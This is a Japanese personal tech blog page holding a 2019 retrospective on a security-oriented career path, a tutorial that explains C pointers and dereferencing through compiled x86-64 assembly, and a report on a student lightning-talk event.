task4233のめも

書きたいことをつらつらと

2019年の振り返りと2020年の目標を述べてみる

はじめに

 こんにちは。task4233と申します。

 この記事は, 私の2019年の振り返りと2020年の目標を述べることを目的として書かれました。
 記事全体は長く, 以下に目次があるので, 面白そうなもの, 興味のあるものだけ読むのも良いかもしれません。

もくじ

2019年の振り返り

 今年の目標は以下の6つでした。

 以上のうち, チェック([x])がついているものを達成しました。

将来について

 私は分野を絞ることがなく, 最終的にフルスタックなエンジニアを目指しています

 そのために, サイバーセキュリティ関連の仕事(解析やPentest)ができる仕事を志望しています(以下, サイバーセキュリティをセキュリティと略します)。

 理由は3つあります。
 1つ目は, セキュリティ・キャンプでセキュリティ沼の一部を知れたためです。
セキュリティ関連の知識を得ることは簡単ですが, それを実践することは非常に難しいです。例えば, 「XSSとは何ですか?」と聞いた時に答えられる人は多いでしょう。しかし, 簡単な脆弱性を含むサイトを提示して「このサイトでXSSを実践してください」というと手が止まる人が多いはずです。こういった実践的な知識は, 1人で得ようとすると非常に時間がかかります。そのため, 人から聞いたりハンズオンを受けたりして得ると非常に効率が良く, その点でセキュリティ・キャンプは非常に良い機会になりました。来年も応募できるので, セキュリティ関連に興味のある方は目を通しておくと良いかも知れません。

www.ipa.go.jp

 2つ目は, 今まで幅広く学んできたCS*1の知識が役に立つと考えているためです。
今までは, どの分野に興味を抱いても対処できるように幅広く学んできました。セキュリティ関連の仕事は, 専門知識がメインですが, 全体的に理解しておくべきな基本的なCSの知識が広いと感じています。例えば, DNS Rebindingという手法を理解して説明するためには, DNSのリソースレコードの存在やネットワーク上の通信等の知識を知っていることが前提条件です。今までの学習経験上セキュリティ関連の技術にはこういったことが多く, 今まで学習してきたことが効果的に使えると考えています。

 3つ目は, 5年・10年先ではセキュリティを意識できるエンジニアが一般的になると考えているためです。
文部科学省によると来年度(2020年度)から小学校のプログラミング教育が必修化されます。これにより, 小学生の頃から, プログラミングという概念を知る機会が極端に増えることが予想されます。そして, 若いうちからプログラミングを主体的に学ぶ子供が増えることが予想されます。その結果, 5年・10年先では, プログラミングが一般化して, 所謂ただ書けるだけのエンジニアは消えゆく運命だと考えています。そのため, セキュリティのことを意識したエンジニアに需要が生まれると考えています。一方で, 過去の脆弱なコードを学習して, Linterがunsecureなコードを検知する機械学習のシステムができる未来がくれば話は別ですが, それらは過去のデータにある事象しか対処できないはずです。我々人間は考えることができる生き物なので, 実際の現場で起きている問題を解消する場面では引けを取らないと考えています*2

 以上が, 私がサイバーセキュリティ関連の仕事(解析やPentest)ができる仕事を志望している理由です。おそらく, これらの仕事も, 将来は幅が広がって解析後にシステムを改修する部分も仕事内容に入っていくのではないかと考えています*3。そのため, 結果としてフルスタックエンジニアになれると考えています。

競技プログラミングを休止したことについて

 はっきりいうと, 私は競技プログラミングを休止しました 。 元から趣味なので, 休止というのは間違っているかもしれません。なぜなら, 私がセキュリティ関連(特に解析やPentest)を突き詰めたくなったためです。

 それぞれのジャンルで得られるものと失うものは, 以下の通りであると考えています。

  • 競技プログラミング
    • 得られるもの
      • コードを書けるという自信
      • アルゴリズムとデータ構造を理解して使う力
      • 他人のソースコードを読んで理解して使う力
      • 他の競プロerとの繋がり
      • 競プロ以外のジャンルを知る機会
    • 失うもの
  • セキュリティ関連
    • 得られるもの
      • セキュリティの専門知識を理解して使う力
      • 低レイヤを意識するようになる傾向
      • documentationから情報を得て使う力
      • セキュリティ界隈の繋がり
    • 失うもの
      • 時間

 こうして見ると, それぞれで得られることと私が将来したいこととのベクトルの向きが違うことが分かります。それぞれに良し悪しがあるのは事実です。しかし, 私の目的(今したいこと)に近いのは競プロではない, と断言できます。そのため, 私は競プロを休止しています。

 競プロを休止したことでコミュニティから離れざるを得ないのは辛いところです。しかし, 来年は多忙な日々から少しは離れられるので, 息抜きの趣味として続けて行くことができそうです。

記事を書くことについて

 言語化することで学んだ知識を自分の中でまとめ, 他人に共有できるという一石二鳥のメリットがあるため, 記事を書くようにしていました。

 実際に, 大きなイベントに参加した後は学んだ内容を参加記録としてhatenablogで投稿しています。また, メモ書き程度の内容は自分のTechBlogで投稿しています。 結果として1ヶ月に1記事程度のペースで投稿することができました

 これらの記事がどの程度の方の力になれたのかはわかりませんが, 少しでも力になれたのならば私は嬉しいです。

 また, 記事を書くために時間を要しますが, 後々見返して役に立つことがあるので未来の自分への投資として続けていきます。

ツイートで意識していたことについて

 「〜した」と「〜する」いう形式にこだわってツイートすることを意識していました。以前は, 「〜したい」や「〜になりたい」というツイートをしていたこともありましたが, 大抵やらないことが多かったので, それらのツイートは極力しないように心がけました。

 以上の意識によって, 何かを達成したり宣言したりすること以外でツイートをしないようになり, 以前よりも多くのことをするようになった気がします(気のせいかもしれません)。

 とはいえ, つまらないこともツイートしたくなることがあります。その際は, サブ垢のSubTaskerでツイートようにしています。なぜなら, 私の本垢をフォローしている方々に対して不毛なツイートを届けるのが嫌だからです。

 そのついでに, サブ垢でのツイートを全て英語にしています。これにより, つまらない内容を英語で話す力が身につくと考えています。実際はどうなのかわかりませんが, 英語ができないと二次的な情報しか得られなくなるので, 英語と仲良くなりたいという意味を込めて続けています。

最近のアニメに関する不毛なツイート

大学について

 基本的にマジメに出席していました*4。後に書きますが, 教職を続けているため色々と忙しく, 今まで以上に自由な時間が作れない日々が続いていました。今年の前期まで週6, 1限から遅い時は6限まで大学に行っていました。教職を続けている割には, 今までの平均GPAは4.0ですし頑張ってきたと自負しています。

 そして, 大学の関係で夏の7月下旬から8月中旬までカリフォルニア州立大学にてPBL*5に参加することができました。そこでは, FPGAを使いAD/DAコンバータを制御する経験ができました。その結果, AD/DAコンバータのデータシートの見方やVerilogの書き方, オシロスコープの使い方等を学ぶことができました。

FPGAでDAコンバータを制御して鋸波をオシロスコープで表示している様子

 趣味でアプリケーション開発をした経験はありましたが, ハードウェアに関する知識は皆無だったため, 非常に良い経験ができたと考えています。

 これは余談ですが, サンフランシスコに立ち寄った際にIntel本社やAppleのInfinite loop, GitHub本社, Unity Technologies, Amazon Goに立ち寄ることが出来たのも非常に良かったです。

Intel Headquarters

Apple infinite loop

GitHub Headquarters

Unity Technologies

 また, 大学でのグループ開発も非常に良い経験になりました。具体的には, 「ウォーターフォール型で開発しろ」と言われたのにアジャイル開発をしたり, docker-composeやnginxといった技術に触れたりしました。PullRequestを投げて, reviewしあうのは新鮮で良い経験になりました。

 チーム内でいざこざが起きたこともありましたが, マネジメント役のチームリーダやお互いの対話によって解決できたので, チーム内のムード作りや対話の重要性を身を持って経験できました。今回のチームリーダはコードを殆ど書いていませんでしたが, チームメンバの面倒見がよく, 非常に良いリーダシップを持つ人でした。彼は本当に凄い人で, 自分のできる範囲内で出来ることをひたすらに頑張る人でした。また, 一緒に開発してくれたメンバーも最後までめげずに開発し, 最終発表に間に合わせてくれたことには本当に感謝していますし, チームメンバに恵まれていたと強く感じています*6

 大学でマジメに学び続けられた理由としては, 大学の居心地の良さもありますが, 大学の友人と話ができる楽しさが大きいです。イベントでお会いした方はわかると思いますが, 私は話をして相手のことを知ったり, 新しい情報を得たりすることが好きです。教職を続けてできた友人もいますし, 大学では充実した生活を続けられてきたと思います。

 一方で, 無駄な講義もあったと考えています。正直, 今までの経験を通して, 私は大学の講義は必要最低限で良いと考えています。なぜなら, 資料を見ればわかるようなことを蹉跎歳月するのはもったいないと考えているためです。この点に関しては, GPAと将来の自分を天秤に掛けて慎重に検討すべき内容なので, 一概に正しい主張とは言えません。少なくとも, 過去の私にアドバイスできるならば, 大学の講義は必要最低限出るように説得します。

教職過程について

 私は教職課程を3年間続けてきました。

 今年は介護等体験ということで, 5日間のデイサービスでの実習体験と2日間の特別支援学校での実習体験をしました。これらの体験から, 相手に応じた対応の必要性を改めて学べました。この対応というのは, 相手に応じてレベルを下げるということではなく, 相手が受け取りやすいように工夫するということです。

 「同じでは?」と思うかもしれませんが, 前者には相手を侮蔑する意味が含まれていると考えています。例えば, お子ちゃま言葉を使ったり, 体が不自由な方の全ての手伝いを行ったりするといったことです。これらの行為は相手の尊厳を貶す行為と等しいです。そのため, ゆっくりと話したり, できる部分は本人にやらせたりする工夫をとるべきであると考えています。

 また, 教職を一緒に続けているメンバーとも気軽に話せるようになり, 続けていて良かったなと感じています。今まで辞めずに続けているということもあってか, 1人1人私にない尊敬できるスキルや特徴を持っています。その多くは処世術や明るさといったもので, 最近は彼らのおかげで割と明るく, ポジティブな思考を持てるようになったと感じています。

[deleted]

全落ちしたインターンの反省と対策について

 夏のインターンでは, 4社受けて全て落ちました。理由として, 実力不足や経験不足, コードのレベルが低いというフィードバックがありました。私は, 今まで教職課程や大学に全振りしていたので, 学問を真面目に修めて, 自分なりに挑戦してきたのに, こうなってしまったんだなというつらい気持ちになりました。また, 夏の前半を前述したカリフォルニア州立大学でのPBLと, セキュリティ・キャンプに費やしてしまったため, それも原因の1つだったと思います。

 友人には8社もインターンに行ったと言われ強い劣等感を感じていました。しかし, 前述したセキュリティ・キャンプで他の参加者から「taskさんは色々やってきた過去があるんだからもっと自信持って良いと思うよ」と言われ, その劣等感を払拭できたのを良く覚えています。

 全てのインターンに落ちた原因は, スケジューリングの下手さによるものだと考えています。大学が忙しすぎたということもありますが, 微妙な実力で装備を入念に整えなかったのは大きな失態であると考えています。そのため, 来年度以降にインターンを希望する方は, 当然かとは思いますが 早めに動くことをオススメします

 この経験を元に, 秋, 冬, 春のインターンではスケジューリングを意識して, 早めに行動するように心がけました。結果として, 既に1社のインターンが確定しており, 他の会社のインターンも検討している状態です。

徹夜は身を滅ぼすということについて

 最後に, 戒めの意も込めて, 1つ言いたいことがあります。徹夜はやめるべきです。こんな時間にブログを書いている身なので説得力は低いですが, 徹夜は本当に良くないです。次の日を棒に振り, その余波は週末まで響きます。結果として, 週末に十分に作業ができなくなり, 最終的には月末, 年末へと被害が広がります。

 徹夜をしないために, 高効率化をするのが良いと考えています。具体的には, Ciruelaさんのブログで書かれていたので, 引用させていただきます。

高効率化 夜に頭が働かない場合は寝る. CTFでは手が止まったら諦める. 飽きたら別のことをする. 面倒ごとは真っ先に撃破する.

2020年作戦立案 - Battle for my life

 今年度以降, 意識していきます。

2020年の目標

  • SecHack365に応募する
  • セキュリティ・キャンプ全国大会2019のチューターに応募する
  • 高度情報技術者試験かセキュリティ資格試験AC
  • CTFの本番で正答率10~20%の問題を通す
  • セキュリティに関するOSSツール(拡張)を作る

 以上が, 私の将来像を考えた時に来年達成しておく必要がある5つの目標です。
 昨年は深く考えずに目標を立ててしまったので, 今年は将来を意識した目標を立てました。

おわりに

 以上が, 2019年の振り返りと2020年の目標でした。

 2019年の目標は達成できなかったものもありますが, 将来像と合致していなかったので納得しています。
 2019年当初はあまり力がなかったですが, 1年間を振り返ると何かとアクティブに動けて, 自分の実力を再確認して, 将来を考えられる良い年だったと感じています。未だに「これはできる」という1つの分野, スキルがないため, 来年は研究をしながらその分野やスキルを作るつもりです。

 長くなってしまいましたが, ここまでお読みいただきありがとうございました。
 少しでもためになる部分があれば幸いです。
 では, 今年も1年よろしくお願いします。

*1:Conputer Science

*2:自己学習型の機械学習システムが確立されればどうしようもありませんが, その際は他の業界も潰れていると思うので, これがベストだと考えています

*3:既に行われているかもしれませんが, 情報不足なのでよくわかりません

*4:これは自分自身に対する皮肉の意を込めています

*5:Project Based Learning

*6:前日はほぼ全員徹夜していた気がします

C言語のポインタとアドレスをアセンブリコードを用いて理解してみる

本記事はデジクリアドベントカレンダー2019の12/17用に書かれました。

TL;DR

  • 「アドレス」はデータが保存される場所
  • 「ポインタ」はアドレスを格納するための領域
  • ポインタ宣言はアドレスを格納するためのポインタ変数を宣言すること
  • 参照外しはポインタに格納されているアドレス先のデータを, 先頭アドレスと型情報を元に参照すること
  • アドレスを調整することで他の変数にもアクセスできる

もくじ

目標

本記事の目標は以下の3点です。

  1. 「アドレス」と「ポインタ」が何を表しているかを理解する
  2. ポインタ宣言と参照外しの違いを理解する
  3. キャストと参照外しを用いて別の変数にアクセスする

なお, タイトルにもある通り, 本記事ではC言語およびアセンブリコードを用います。なぜなら, アセンブリコードを読むことで実行時に何が起きているかが直感的に理解できるためです。

なお, アセンブリについては以下の記事を読むことを強くオススメします。 基礎知識やアセンブリの読み方, メモリやレジスタの仕組み等が詳しく書かれており, 非常にわかりやすいです。

qiita.com

1. 「アドレス」と「ポインタ」が何を表しているかを理解する

アドレス

データが保存される場所のことです。正しくは「メモリアドレス」といいます(長いので以後アドレスとします)。値を変数に格納したり, 正しく関数を呼び出したりできるのは, このアドレスがあるためです。

アドレスは1バイト単位でランダムアクセスすることが可能です。1バイトは一般に8ビットで, 10進数で0から255の値を格納することができます。それ以上の数を格納したい場合は, 複数のバイトをまとめて使用することで実現します。

ビットとバイトの違いが分からない方はこちらの記事が参考になるかもしれません。

さて, C言語ではこのアドレスを&変数名のように, &演算子(アドレス演算子) を用いて表現します。例えば, 変数aのアドレスが欲しい時は&aのように書くことで, その変数が格納されている先頭アドレスを取得できます。先述した通り, データが大きい時は複数のバイトに連なってデータが格納されるため, 連続しているうちの先頭のアドレスを変数のアドレスとしています

では, C言語のコード例を見てみましょう。 コードと実行結果はこちらから確認できます。

#include <stdio.h>

int main() {
  int num = 57;
  // 変数の値を表示
  printf("変数numの値は%d\n", num);
  // 変数のアドレスを表示
  printf("変数numのアドレスは%p\n", &num);
  return 0;
}

// 出力
// 変数numの値は57
// 変数numのアドレスは0x7ffd8e972c5c

変数の値とアドレスが正しく出力されていますね。 printf()関数の引数として, 前者はnumを, 後者は&numを使うことで, 正しく値が取得できていることがわかります。

では, 先ほどのコードをコンパイルしたアセンブリコードを見てみましょう。 コードはこちらから確認できます。 それぞれのコードの意味はコメントで加えておきました。

.LC0:
        ;「変数numの値は%d\n.string "\345\244\211\346\225\260num\343\201\256\345\200\244\343\201\257%d\n"
.LC1:
        ; 「変数numのアドレスは%p\n」
        .string "\345\244\211\346\225\260num\343\201\256\343\202\242\343\203\211\343\203\254\343\202\271\343\201\257%p\n"
main:
        push    rbp                     ; ベースポインタをスタックに積む
        mov     rbp, rsp                ; rspをベースポインタの所に持ってくる
        sub     rsp, 16                 ; rspをスタックトップに持ってくる
        mov     DWORD PTR [rbp-4], 57   ; rbp-4のアドレスからDWORD PTR(4バイト分)の領域に57という値を格納
        mov     eax, DWORD PTR [rbp-4]  ; rbp-4のアドレスからDWORD PTR(4バイト分)の領域にある値をeaxに格納
        mov     esi, eax                ; esiにeaxの値を格納(printf関数の引数)
        mov     edi, OFFSET FLAT:.LC0   ; ediに「変数numの値は%d\n」という文字列を格納(printf関数の引数)
        mov     eax, 0                  ; eaxに0を格納
        call    printf                  ; printf関数を呼び出す
        lea     rax, [rbp-4]            ; raxにrbp-4のアドレスを格納
        mov     rsi, rax                ; rsiにraxの値を格納(printf関数の引数)
        mov     edi, OFFSET FLAT:.LC1   ; ediに「変数numのアドレスは%p\n」という文字列を格納(printf関数の引数)
        mov     eax, 0                  ; eaxに0を格納
        call    printf                  ; printf関数を呼び出す
        mov     eax, 0                  ; eaxに0を格納
        leave                           ; high-level procedure exit
        ret                             ; return

ここで注目していただきたいのは, 変数numのを表示する時と変数numのアドレスを表示する時に使ったアセンブリ命令の違いです。

前者では以下のようにmovを使用しています。

mov     eax, DWORD PTR [rbp-4]  ; rbp-4のアドレスからDWORD PTR(4バイト分)の領域にある値をeaxに格納

movはMOVeのことです。Intel SDMの5.1.1 Data Transfer Instructionsによると, 汎用レジスタ間でデータを移動すると書かれています。したがって, 変数の値そのものに働きかけをしていることがわかります。

一方, 後者では以下のようにleaを使用しています。

lea     rax, [rbp-4]            ; raxにrbp-4のアドレスを格納

leaはLoad Effective Addressの略で, 直訳すると実行アドレスのロードのことです。Intel SDMでは5.1.13 Miscellaneous Instructionsに書かれています。したがって, 変数の実行アドレスを取得するという働きかけをしていることがわかります。

以上より, C言語アセンブリに以下のような対応付けができます。 なお, Cでの変数名はnumで, [rbp-4]から格納されているとします。

変数の値 変数のアドレス
C言語 num &num
アセンブリ mov rax, DWORD PTR [rbp-4] lea rax, [rbp-4]

ポインタ

変数や関数が格納されているアドレスを格納するための領域です。先ほど, アドレスの取得の仕方を紹介しましたが, 一般的な変数にアドレスは格納しません。そこで, このポインタを使用します。

C言語では, ポインタを書く際に*変数名のように, *を用いて表現します。この変数名は自由に宣言できますが, 他の変数名と重複してはいけません。

難しく考えることは無いです。ポインタはアドレスを格納するための領域です。

では, C言語のコードを見ていきましょう。 コードと実行結果はこちらから確認できます。

#include <stdio.h>

int main() {
  int num = 57;
  // ポインタに変数numのアドレスを格納
  int* ptr = &num;

  printf("変数numのアドレスは%p\n", ptr);
  return 0;
}

// 出力
// 変数numのアドレスは0x7ffd5324a174

アドレスが正しく出力されていることがわかります。

では, 先ほどのコードをコンパイルしたアセンブリコードを見てみましょう。 コードはこちらから確認できます。 それぞれのコードの意味はコメントで加えておきました。

.LC0:
        ; 「変数numのアドレスは%p\n」
        .string "\345\244\211\346\225\260num\343\201\256\343\202\242\343\203\211\343\203\254\343\202\271\343\201\257%p\n"
main:
        push    rbp                     ; ベースポインタをスタックに積む
        mov     rbp, rsp                ; rspをベースポインタの所に持ってくる
        sub     rsp, 16                 ; rspをスタックトップにセットする
        mov     DWORD PTR [rbp-12], 57  ; rbp-12のアドレスからDWORD PTR(4バイト分)の領域に57という値を格納
        lea     rax, [rbp-12]           ; rbp-12のアドレスをraxに格納
        mov     QWORD PTR [rbp-8], rax  ; raxの値をrbp-8からQWORD PTR(8バイト分)の領域に格納
        mov     rax, QWORD PTR [rbp-8]  ; rbp-8からQWORD PTR(8バイト分)の領域の値をraxに格納
        mov     rsi, rax                ; raxの値をrsiに格納
        mov     edi, OFFSET FLAT:.LC0   ; ediに「変数numのアドレスは%p\n」という文字列を格納
        mov     eax, 0                  ; eaxに0を格納
        call    printf                  ; printfを呼び出し
        mov     eax, 0                  ; eaxに0を格納
        leave                           ; high-level procedure exit
        ret                             ; return

ここで注目していただきたいのは, 以下の通り変数のアドレスを格納する際にDWORD PTR(4バイト分)ではなく, QWORD PTR(8バイト分)の領域を用いていることです。

       lea     rax, [rbp-12]           ; rbp-12のアドレスをraxに格納
       mov     QWORD PTR [rbp-8], rax  ; raxの値をrbp-8からQWORD PTR(8バイト分)の領域に格納

これは当然といえば当然なのですが, x86-64は64ビットのOSなので, アドレスは64ビット(8バイト)です。そのため, アドレスを格納するためには8バイトの領域が必要になり, このような命令を実行しています。

以上より, C言語アセンブリに以下のような対応付けができます。 なお, C言語での変数名はnumで[rbp-4]から格納されているとします。 そして, C言語でのポインタ名はptrとします。

変数の値 変数のアドレス 変数のポインタ
C言語 num &num ptr
アセンブリ mov rax, DWORD PTR [rbp-4] lea rax, [rbp-4] mov QWORD PTR [rbp-8], rax

まとめると, 「アドレス」はデータが保存される場所のこと, 「ポインタ」はアドレスを格納するための領域です。

2. ポインタ宣言と参照外しの違いを理解する

新たに「ポインタ宣言」と「参照外し」という言葉が出てきました。ポインタわからんという方はこの2つを区別できていないのではないかと考えています。そのため, ここでそれぞれの内容を述べておきます。

「ポインタ宣言」は, アドレスを格納するため変数を宣言することです。つまり, 先ほどポインタの説明で出てきたポインタの使い方は「ポインタ宣言」にあたります。

一方, 「参照外し」はポインタに格納されているアドレス先のデータを参照することです。 実際のC言語のコード例を見てみましょう。

#include <stdio.h>

int main() {
  int num = 57;
  // ポインタに変数numのアドレスを格納
  int* ptr = &num;

  // 参照外しにより, ptrのアドレスの先の値を取得
  int referred_num = *ptr;
  printf("%d\n", referred_num);
  return 0;
}

// 出力
// 57

参照外しによりptrが保持しているアドレス先に格納されている値を取得できていることがわかります。

では, このコードをコンパイルしたアセンブリコードを見てみましょう。 コードはこちらから確認できます。

.LC0:
        .string "%d\n"
main:
        push    rbp                      ; ベースポインタをスタックに積む
        mov     rbp, rsp                 ; rspをベースポインタの所に持ってくる
        sub     rsp, 16                  ; rspをスタックトップにセットする
        mov     DWORD PTR [rbp-16], 57   ; rbp-16のアドレスからDWORD PTR(4バイト分)の領域を確保して, 57を格納する
        lea     rax, [rbp-16]            ; rbp-16のアドレスをraxに格納
        mov     QWORD PTR [rbp-8], rax   ; raxの値をrbp-8からQWORD PTR(8バイト分)の領域に格納
        mov     rax, QWORD PTR [rbp-8]   ; rbp-8からQWORD PTR(8バイト分)の領域の値をraxに格納
        mov     eax, DWORD PTR [rax]     ; raxに格納されているアドレスからDWORD PTR(8バイト分)の領域の値をeaxに格納
        mov     DWORD PTR [rbp-12], eax  ; rbp-12からDWORD PTR(4バイト分)の領域にeaxの値を格納
        mov     eax, DWORD PTR [rbp-12]  ; rbp-12からDWORD PTR(4バイト分)の領域にある値をeaxに格納
        mov     esi, eax                 ; esiにeaxの値を格納
        mov     edi, OFFSET FLAT:.LC0    ; ediに「%d\n」を格納
        mov     eax, 0                   ; eaxに0を格納
        call    printf                   ; printf関数を呼び出し
        mov     eax, 0                   ; eaxに0を格納
        leave                            ; high-level procedure exit
        ret                              ; return

今回の参照外しに該当する部分は以下になります。

        mov     eax, DWORD PTR [rax]     ; raxに格納されているアドレスからDWORD PTR(8バイト分)の領域の値をeaxに格納

アセンブリでは[ ]で囲むと, 囲まれた値をアドレスとして認識し, そのアドレス上の値にアクセスします。したがって, 参照外しが正しく行われていることがアセンブリでも確認できました。

さらに, この参照外しは複数回行うことが可能です。 以下のこちらのコードを見てみましょう。

#include <stdio.h>

int main() {
  int num = 57;
  int* ptr = &num;
  int** ptr2 = &ptr;
  int*** ptr3 = &ptr2;
  int**** ptr4 = &ptr3;
  int***** ptr5 = &ptr4;

  int referred_num = *****ptr5;
  printf("%d\n", referred_num);
  return 0;
}

// 出力
// 57

なんとも仰々しいですが, 正しく実行できます。 これもコンパイルされたアセンブリを読めば簡単に理解できます。

.LC0:
        .string "%d\n"
main:
        push    rbp                     ; ベースポインタをスタックに積む
        mov     rbp, rsp                ; rspをベースポインタに持ってくる
        sub     rsp, 48                 ; rspをスタックトップにセットする
        mov     DWORD PTR [rbp-16], 57  ; rbp-16のアドレスからDWORD PTR(4バイト分)の領域に57を格納する
        lea     rax, [rbp-16]           ; raxにrbp-16のアドレスを格納
        mov     QWORD PTR [rbp-24], rax ; rbp-24のアドレスからQWORD PTR(8バイト分)の領域にraxの値を格納する
        lea     rax, [rbp-24]           ; raxにrbp-16のアドレスを格納
        mov     QWORD PTR [rbp-32], rax ; rbp-32のアドレスからQWORD PTR(8バイト分)の領域にraxの値を格納する
        lea     rax, [rbp-32]           ; raxにrbp-32のアドレスを格納
        mov     QWORD PTR [rbp-40], rax ; rbp-40のアドレスからQWORD PTR(8バイト分)の領域にraxの値を格納する
        lea     rax, [rbp-40]           ; raxにrbp-40のアドレスを格納
        mov     QWORD PTR [rbp-48], rax ; rbp-48のアドレスからQWORD PTR(8バイト分)の領域にraxの値を格納する
        lea     rax, [rbp-48]           ; raxにrbp-48のアドレスを格納
        mov     QWORD PTR [rbp-8], rax  ; rbp-8のアドレスからQWORD PTR(8バイト分)の領域にraxの値を格納する
        mov     rax, QWORD PTR [rbp-8]  ; rbp-8のアドレス先の値をraxに格納する
        mov     rax, QWORD PTR [rax]    ; raxのアドレス先の値をraxに格納する
        mov     rax, QWORD PTR [rax]    ; raxのアドレス先の値をraxに格納する
        mov     rax, QWORD PTR [rax]    ; raxのアドレス先の値をraxに格納する
        mov     rax, QWORD PTR [rax]    ; raxのアドレス先の値をraxに格納する
        mov     eax, DWORD PTR [rax]    ; raxのアドレス先の値をeaxに格納する
        mov     DWORD PTR [rbp-12], eax ; eaxの値をrbp-12のアドレスからDWORD PTR(4バイト分)の領域に格納する
        mov     eax, DWORD PTR [rbp-12] ; rbp-12のアドレスからDWORD PTR(4バイト分)の領域にある値をeaxに格納する
        mov     esi, eax                ; esiにeaxの値を格納する
        mov     edi, OFFSET FLAT:.LC0   ; ediに"%d\n"を格納する
        mov     eax, 0                  ; eaxに0を格納する
        call    printf                  ; printfを呼び出す
        mov     eax, 0                  ; eaxに0を格納する
        leave                 ; high-level procedure exit
        ret                             ; return

これを見れば,

int referred_num = *****ptr5;

という部分で,

mov     rax, QWORD PTR [rax] 

が複数回繰り返されて参照外しが行われていることが分かるはずです。

以上より, 「ポインタ宣言」は, アドレスを格納するため変数を宣言することであり,「参照外し」はポインタに格納されているアドレス先のデータを参照することであるとわかります。

3. キャストと参照外しを用いて別の変数にアクセスする

また新しい単語「キャスト」が出てきました。
「キャスト」とは, 変数を何の型で解釈するか指定する操作です。
キャストは(型名)を先頭に付与することで実現できます。
例えば, numという変数をlong型にキャストしたい場合は, (long)numと書けば良いです。

こちらのコードを見てください。

#include <stdio.h>

int main() {
  long num = 1;
  int num2 = 2;
  char num3 = '3';

  long* ptr = &num;
  int* ptr2 = &num2;
  char* ptr3 = &num3;

  printf(" ptr : %p\n", ptr);
  printf(" ptr2: %p\n", ptr2);
  printf(" ptr3: %p\n", ptr3);

  char* ptr4 = (char*)(ptr - 1) + 3;

  printf(" ptr4: %p\n", ptr4);
  printf("*ptr4: %c\n", *ptr4);
  
  return 0;
}

// 出力
//  ptr : 0x7ffce2e87928
//  ptr2: 0x7ffce2e87924
//  ptr3: 0x7ffce2e87923
//  ptr4: 0x7ffce2e87923
// *ptr4: 3

このコードを実行すると, 以下のような結果が得られます。

このコードで注目していただきたいことは, 以下の通りptrを利用してptr3のデータにアクセスできているということです。

 char* ptr4 = (char*)(ptr - 1) + 3;

アクセスする方法は単純で, ptrからptr3のアドレスを取得しているだけです。しかし, これコードの意味を理解するには内部で何がおきているのかを理解する必要があるはずです。

そのために, コンパイル後のアセンブリコードを確認します。 ここで, 簡単のためにprintf()関数を取り除いています。

main:
        push    rbp
        mov     rbp, rsp
        mov     QWORD PTR [rbp-40], 1
        mov     DWORD PTR [rbp-44], 2
        mov     BYTE PTR [rbp-45], 51
        lea     rax, [rbp-40]
        mov     QWORD PTR [rbp-8], rax
        lea     rax, [rbp-44]
        mov     QWORD PTR [rbp-16], rax
        lea     rax, [rbp-45]
        mov     QWORD PTR [rbp-24], rax
        mov     rax, QWORD PTR [rbp-8]
        sub     rax, 8
        add     rax, 3
        mov     QWORD PTR [rbp-32], rax
        mov     eax, 0
        pop     rbp
        ret

このうち, 注目していただきたいのは以下の4行です。

        mov     rax, QWORD PTR [rbp-8]      ; rbp-8からQWORD PTR(8バイト分)の領域にある値をraxに格納
        sub     rax, 8                      ; raxから8引く
        add     rax, 3                      ; raxに3を足す
        mov     QWORD PTR [rbp-32], rax     ; rbp-32からQWORD PTR(8バイト分)の領域にraxの値を格納

わざわざとった値に対して加減算を行っています。 これは, 今回の変数が以下のように積まれているためです。

アドレス番号 補足
0x0000fff0 num long(8バイト分)
0x0000ffec num2 int(4バイト分)
0x0000ffeb num3 char(1バイト分)

したがって, numのアドレスを持つポインタに8引いて3を足せばnumからでもnum3にアクセスできるわけです。 C言語のコードでは1しか引いていないのに8引かれているのは, ptrがlong型のポインタであるためです。long型は8バイトなので, -1しただけで8バイト分のアドレスを戻っています。

したがって, 同様に以下の場合でも正しくアクセスできますね。

// char型のポインタとしてキャストした上で5バイト分戻る
char* ptr4 = ((char*)ptr - 5);

つまり, ポインタでの参照外しをする際には, 先頭アドレスによって情報を読み取っているということです。

仮に先頭アドレスが正しくとも, 型が誤っていると正しくデータを取得できません。そのため, 型付き言語では変なキャストをするとwarningが出る訳です。

したがって, 先ほどの参照外しの説明は不十分です。 参照外しはポインタに格納されているアドレス先のデータを, 先頭アドレスと型情報を元に参照することと言った方がより正しいでしょう。

おわりに

ここまでお読みいただきありがとうございました。 本当はCコンパイラでアドレスとポインタを自作してその上で動かしたかったのですが, 時間が間に合いませんでした(演算子の定義等までは実装できました)。

本記事は参照外しとポインタ宣言が混同している方のために書いたつもりなんですが, 結果的に怪文書ができてしまった気がします。

なにはともあれ, ここまでお読みいただきありがとうございました。 変な部分があればマサカリを投げてください。 ありがとうございました。

学生LT #31 参加記録

TL;DR

  • 公開枠18組の概要と感想をまとめた
  • 5分間のLTをしてきた
  • LTの準備が不十分だった

もくじ

はじめに

本日(2019/12/08)に開催された学生LT#31に参加したので, その感想と反省を書きます。

学生LT#31の詳細は, connpassページをご覧ください。

student-lt.connpass.com

ライブ映像は公開されています。

https://youtu.be/cX13Wwa0Mds

以後, LT資料, および動画のリンクを載せていますが, 抜けがある場合はご指摘ください。よろしくお願いします。

当日の流れ

遅刻しました。

後述する解析に熱中しすぎて, 家を出る時間を超えてしまいました。

LT

us pycon参加録 by sakakendo

LT資料

docs.google.com

動画

https://youtu.be/cX13Wwa0Mds?t=2100

概要

Pycon2019に自費(?)で参加してきた話でした。

感想

海外カンファレンスに行ってみたいので, どこかのScholarshipに選出されたいものです。今の所MerkariさんのStepupgoで頑張っているので, GoCon出られると良いなと思っています。

Npurse使ってECサイト構築した話 by らいう

LT資料

docs.google.com

動画

https://youtu.be/cX13Wwa0Mds?t=2908

概要

タイトル通り, Mpurseを使ってECサイトを作った話でした。Mqurseの特徴についても触れられていました。

感想

大体の処理をMqurseに投げられるのは良さそうです。しかし, そのサービスに脆弱性が生まれた場合にどうなるのかを考えると怖そうです。

Kotlinで作ったJVMで動くCLIツールをGraalVMのnative imageでmacOS向けにバイナリ吐いてみた by マヤミト

動画

https://youtu.be/cX13Wwa0Mds?t=3524

概要

GraaVM上で, Kotlinコードをnative imageにコンパイルした話でした。JVMとの比較もしており, それぞれのメリット/デメリットも紹介していました。

感想

JVMもそこそこの速さですが, それよりも高速な実行時間というのは魅力的でした。

軽率にレイトレする by にー兄さん

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=3524

概要

古典的レイトレーシング(Ray Tracing)のアルゴリズム, Rayの生成と交差判定, ShadowRayによる可視判定等の理論について紹介していました。

感想

3DCGって出来る人すごいですよね。
